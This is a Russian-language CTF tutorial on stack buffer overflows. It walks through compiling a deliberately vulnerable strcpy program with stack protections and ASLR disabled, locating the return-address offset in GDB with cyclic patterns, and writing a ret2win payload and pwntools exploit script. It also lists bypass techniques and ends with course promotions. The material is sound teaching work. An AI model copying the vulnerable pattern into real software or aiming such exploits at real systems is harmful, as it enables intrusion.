
На CTF задача на переполнение буфера без stack canary и ASLR — формально easy на 100 очков. Но раз за разом вижу, как участники, выучившие теорию про стековый кадр, спотыкаются на практике: не вычисляют offset до адреса возврата, путают порядок байт в little-endian, не понимают, что именно показывает GDB в момент краша. Результат — задача на 10 минут растягивается на два часа, а потом в чате: «у меня не работает, а payload точно правильный». Знакомо? Тогда разберём по шагам: от чистого терминала до работающего эксплойта — компилируем уязвимый бинарник, препарируем стек в отладчике, находим точку перезаписи EIP и автоматизируем атаку через pwntools.
Стек — область оперативной памяти, работающая по принципу LIFO (последним пришёл — первым вышел). На x86 и x86-64 стек растёт от старших адресов к младшим: каждая push уменьшает указатель стека, pop — увеличивает. Тут важно не путать направление: стек растёт «вниз» по адресам, а буфер заполняется «вверх». Именно из-за этого противоположного направления переполнение и перезаписывает то, что лежит «выше» буфера — сохранённый EBP и адрес возврата. Подробнее — в нашем статье о бинарный анализ уязвимостей.
Когда программа вызывает функцию, процессор выполняет call, которая делает две вещи: кладёт на стек адрес следующей инструкции (это адрес возврата — return address) и передаёт управление вызываемой функции. Дальше пролог функции сохраняет текущее значение EBP на стеке и ставит новый EBP равным ESP — формируется стековый кадр (stack frame). Затем sub esp, N выделяет место под локальные переменные.
Результат — стековый кадр со следующей структурой (адреса растут снизу вверх, ESP указывает на самый нижний элемент):
ret.Суть переполнения буфера в pwn сводится к одному: если локальная переменная (скажем, char buf[64]) заполняется данными без проверки длины, атакующий пишет за границы буфера, затирает сохранённый EBP, и — самое вкусное — перезаписывает адрес возврата. Когда функция выполняет ret, процессор снимает с вершины стека значение и суёт его в EIP. Если там уже лежит адрес, который подставил атакующий, — процессор послушно переходит туда. Всё, контроль над потоком выполнения получен.
Переполнение буфера на стеке как класс уязвимости — это CWE-121 (Stack-based Buffer Overflow) / CWE-787 (Out-of-bounds Write). В реальных атаках этот механизм может отработать по-разному в терминах MITRE ATT&CK — например, T1203 (Exploitation for Client Execution) при эксплуатации клиентского ПО или T1068 (Exploitation for Privilege Escalation) через уязвимый сервис.
Для эксплуатации переполнения стека достаточно уверенно понимать три регистра. На x86 (32 бита) они по 4 байта, на x86-64 — по 8, и называются с приставкой R вместо E.
ESP / RSP (Stack Pointer) — указывает на текущую вершину стека. Каждая push уменьшает его на размер слова, каждая pop увеличивает. В GDB значение ESP показывает, где «сейчас» находится стек. Команда x/20wx $esp выведет 20 четырёхбайтных значений начиная с вершины — так мы будем «читать» стек при анализе.
EBP / RBP (Base Pointer) — указывает на начало текущего стекового кадра. Относительно EBP компилятор адресует локальные переменные: [ebp-0x40] — буфер на 64 байта, [ebp-0x4] — переменная-счётчик. По адресу [ebp+0x4] лежит адрес возврата. Это ключевое знание: расстояние от буфера до [ebp+0x4] — тот самый offset, который мы ищем.
EIP / RIP (Instruction Pointer) — хранит адрес следующей инструкции. Записать в него значение напрямую из пользовательского кода нельзя. Но ret делает это за нас: снимает верхнее значение со стека и помещает в EIP. Если к моменту ret на вершине стека лежит контролируемый адрес — EIP указывает на произвольный код. В GDB при крашe с SIGSEGV значение EIP покажет, куда процессор пытался перейти. Видим 0x41414141 (ASCII AAAA) — мы перезаписали адрес возврата. EIP наш.
Разница между x86 и x64 для начинающего pwn-игрока: размер регистров (4 vs 8 байт), размер сохранённого EBP/RBP (4 vs 8), и соглашение о вызове (на x64 первые шесть целочисленных аргументов идут через регистры, а не через стек). Механика та же.
Перед началом соберите рабочее окружение:
gcc-multilib: sudo apt install gcc-multilib.git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh (имя скрипта менялось между версиями — сверьтесь с README; в новых версиях также доступен pip install pwndbg).pip install pwntools>=4.13.0 (версии ниже 4.13.0 содержат уязвимость SSTI — GHSA-7xc5-ggpp-g249).Весь разбор ведём на 32-битном бинарнике (x86). Offset'ы компактнее, адреса короче, стековый кадр нагляднее. Принцип полностью переносится на x64 — отличия описаны в разделе про ошибки.
Минимальный уязвимый бинарник. Функция win() выводит флаг, но нигде не вызывается из main. Функция vuln() копирует пользовательский ввод в буфер через strcpy без проверки длины — классика:
#include <stdio.h>
#include <string.h>
void win() { printf("Flag: CTF{overflow_101}\n"); }
void vuln(char *input) {
char buf[64];
strcpy(buf, input); // вот тут и живёт баг
}
int main(int argc, char **argv) {
vuln(argv[1]);
return 0;
}
Компилируем: gcc -m32 -O0 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c. Каждый флаг отключает конкретную защиту:
-m32 — 32-битный бинарник.-O0 — без оптимизаций, иначе компилятор может «выкинуть» уязвимый код.-fno-stack-protector — отключает stack canary (случайное значение перед адресом возврата, проверяемое перед ret).-z execstack — разрешает выполнение кода в стеке (отключает NX-бит).-no-pie — фиксированные адреса функций, без рандомизации секции кода.Дополнительно отключаем ASLR: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space. Без этого адреса стека меняются при каждом запуске — жёстко зашитый payload промахнётся.
Работает если: ASLR отключен, canary отсутствует, NX отключен, PIE отключен. Не работает если: любая из защит включена — потребуются дополнительные техники: leak адресов для обхода ASLR, ROP-цепочки для NX, brute force или format string для canary.
Загружаем бинарник: gdb ./vuln. Если pwndbg установлен, при остановке на breakpoint автоматически отобразятся регистры, стек и дизассемблирование — всё в одном окне. Без pwndbg придётся вручную дёргать info registers, x/20wx $esp, disas — работает, но медленнее.
Шаг 1. Находим адрес win. info functions win — выведет строку вида 0x08049196 win. Этот адрес — наша цель. Запишите его.
Шаг 2. Ставим breakpoint и запускаем. break vuln, затем run AAAA (четыре безобидных символа). GDB остановится на входе в vuln.
Шаг 3. Смотрим стековый кадр. disas vuln — дизассемблируем функцию. В прологе увидим знакомую последовательность: push ebp / mov ebp, esp / sub esp, 0x48. Значение 0x48 (72 в десятичной) — размер области под локальные переменные, включая выравнивание. Буфер buf начинается от [ebp-0x48] или от [ebp-0x44] в зависимости от версии gcc и выравнивания. Точный адрес покажет p &buf после выполнения первой инструкции тела функции.
Шаг 4. Вычисляем расстояние до адреса возврата. Адрес возврата лежит по $ebp+4. Буфер начинается, допустим, по 0xffffd0e0. Смотрим $ebp+4 — скажем, 0xffffd12c. Разница: 0xffffd12c - 0xffffd0e0 = 0x4c = 76 байт. Это offset — количество байт заполнителя перед адресом возврата в payload.
Ручной подсчёт через адреса — надёжный способ, но есть метод проще: циклический паттерн. cyclic(100) из pwntools генерирует последовательность из 100 байт, где любые 4 подряд идущих байта уникальны. Это избавляет от арифметики и ошибок выравнивания.
Запускаем в GDB: run $(python3 -c "from pwn import *; import sys; sys.stdout.buffer.write(cyclic(100))"). Программа падает с SIGSEGV. Смотрим EIP — pwndbg покажет его в контекстном окне, в стандартном GDB: info registers eip. Видим, например, 0x6161616c. Узнаём offset: python3 -c "from pwn import *; print(cyclic_find(0x6161616c))" — получаем 76. Совпадает с ручным расчётом. Красота.
Альтернатива без pwntools — утилиты Metasploit Framework: pattern_create.rb -l 100 для генерации и pattern_offset.rb -q 0x6161616c для вычисления offset. Результат тот же, но pwntools удобнее для автоматизации — всё в одном скрипте.
Payload собирается по формуле: [offset байт заполнителя] + [4 байта адреса win в little-endian]. Для нашего примера: 76 байт символа A + адрес 0x08049196 в формате little-endian: \x96\x91\x04\x08.
Проверяем в GDB: run $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'\x96\x91\x04\x08')"). Если offset вычислен верно — вместо SIGSEGV видим Flag: CTF{overflow_101}. Функция vuln выполнила ret, сняла со стека наш адрес, запихнула его в EIP, процессор перешёл на win и выполнил printf. Переполнение буфера отработало.
Если вместо флага снова SIGSEGV — проверяем три вещи: offset (пересчитать через cyclic), порядок байт (на x86 — little-endian, \x96\x91\x04\x08, а НЕ \x08\x04\x91\x96), адрес win (при каждой перекомпиляции он может уехать — info functions win).
Вне GDB запускаем из терминала: ./vuln $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'\x96\x91\x04\x08')"). Если ASLR отключен — результат совпадает.
На CTF бинарник обычно крутится на удалённом сервере и читает ввод из stdin. Ручная подстановка байт в командную строку — путь к безумию. Вот полноценный эксплойт:
from pwn import *
elf = ELF('./vuln')
offset = 76
win_addr = elf.symbols['win'] # адрес вытянется автоматически
payload = b'A' * offset + p32(win_addr)
p = process(['./vuln', payload])
# Для CTF-сервера: p = remote('ctf.example.com', 1337)
print(p.recvall().decode())
Что здесь происходит: ELF('./vuln') парсит бинарник и даёт таблицу символов — elf.symbols['win'] возвращает адрес win без ручного поиска. p32() упаковывает 32-битное целое в 4 байта little-endian (для 64-битных — p64()). process запускает локальный бинарник, remote — подключается к CTF-серверу по TCP.
Для задач, где ввод идёт через stdin (а не через argv), замените process(['./vuln', payload]) на запуск без аргумента и отправьте payload через p.sendline(payload).
После сотен разобранных задач список типичных ошибок устоялся. Проверяйте себя по этому чеклисту до того, как писать «у меня эксплойт не работает»:
Неверный offset. Главный источник боли. Компилятор добавляет выравнивание: буфер на 64 байта может занять 68, 72 или 80 байт на стеке. Между буфером и сохранённым EBP могут лежать другие локальные переменные. Единственный надёжный метод — cyclic() + cyclic_find(). Ручной подсчёт «64 буфера + 4 EBP = 68» работает только в учебниках. В реальности gcc может подложить padding, и ваши 68 байт окажутся мимо.
Путаница с endianness. На x86 и x86-64 данные хранятся в little-endian: младший байт по младшему адресу. Адрес 0xdeadbeef записывается как \xef\xbe\xad\xde. Интуитивно хочется «как читается слева направо» — это big-endian, и такой payload гарантированно промахнётся. p32() из pwntools снимает проблему.
ASLR работает по-разному внутри и вне GDB. Внутри GDB рандомизация по умолчанию отключена (проверить: show disable-randomization). Поэтому эксплойт работает в отладчике, но падает из терминала. Классическая ловушка. Проверяйте cat /proc/sys/kernel/randomize_va_space: 2 — ASLR активен, 0 — отключен.
Stack canary не замечен. Если бинарник собран без -fno-stack-protector, между локальными переменными и адресом возврата лежит случайное значение (canary). При перезаписи canary программа выводит *** stack smashing detected *** и завершается. Быстрая проверка: checksec ./vuln в pwndbg или ELF('./vuln').checksec() в pwntools — если Canary: Enabled, прямой overflow не пройдёт.
Выравнивание стека на x64 (не относится к 32-битному примеру выше). На 64-битных системах функции из libc (особенно system() и printf с форматными строками) требуют RSP выровненного на 16 байт. Если эксплойт падает с SIGSEGV внутри вызываемой функции, а не на ret, — проблема в alignment. Решение: перед целевым адресом добавьте адрес гаджета ret (одиночная инструкция ret), сдвигающего RSP на 8 байт. Найти: ROPgadget --binary ./vuln | grep ': ret$'.
Не та архитектура. Payload собран под x86, а бинарник — x64 (или наоборот). file ./vuln покажет: ELF 32-bit LSB executable для x86 или ELF 64-bit LSB executable для x64. Для x64: offset = размер буфера + 8 (saved RBP), адрес упаковывается через p64(), адрес будет вида 0x00000000004011xx.
Shellcode не выполняется при включённом NX. Если вместо перехода на win подкладываете shellcode на стек, убедитесь, что NX отключен (-z execstack). При включённом NX стек помечен как non-executable — процессор откажется выполнять код оттуда. В этом случае используют ROP — цепочки гаджетов из существующего кода бинарника.
Чеклист: checksec → offset через паттерн → endianness → ASLR → alignment. Пройдитесь по нему до того, как начнёте подозревать задачу в нерабочем состоянии. Экономит часы.
Переполнение буфера — фундамент категории pwn. Без уверенного понимания стекового кадра и механики ret любая следующая тема — ROP, format string, heap exploitation — будет казаться магией. Но вот что редко говорят новичкам: на реальных CTF даже задачи на 100 очков почти никогда не дают «голый» overflow совсем без защит. Уже на easy-уровне включают canary или NX, и от участника ждут умения комбинировать: leak canary через побочный канал, ret2libc для обхода NX, partial overwrite при включённом PIE. Те, кто освоил базовый overflow и остановился на «я умею переписывать EIP на задачах без защит» — через полгода обнаруживают, что не продвинулись ни на уровень.
Мой подход после каждого решённого таска: пересобрать бинарник с -fstack-protector и попытаться обойти canary. Потом включить ASLR и найти info leak. Потом включить NX и собрать ROP-цепочку. Каждый слой защиты — отдельный навык, и прокачивать их надо последовательно, сразу после первого успеха. Если хочешь пройти всю цепочку от overflow до ROP на лабах с прогрессией — на WAPT эту механику разбирают в модулях с менторством.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...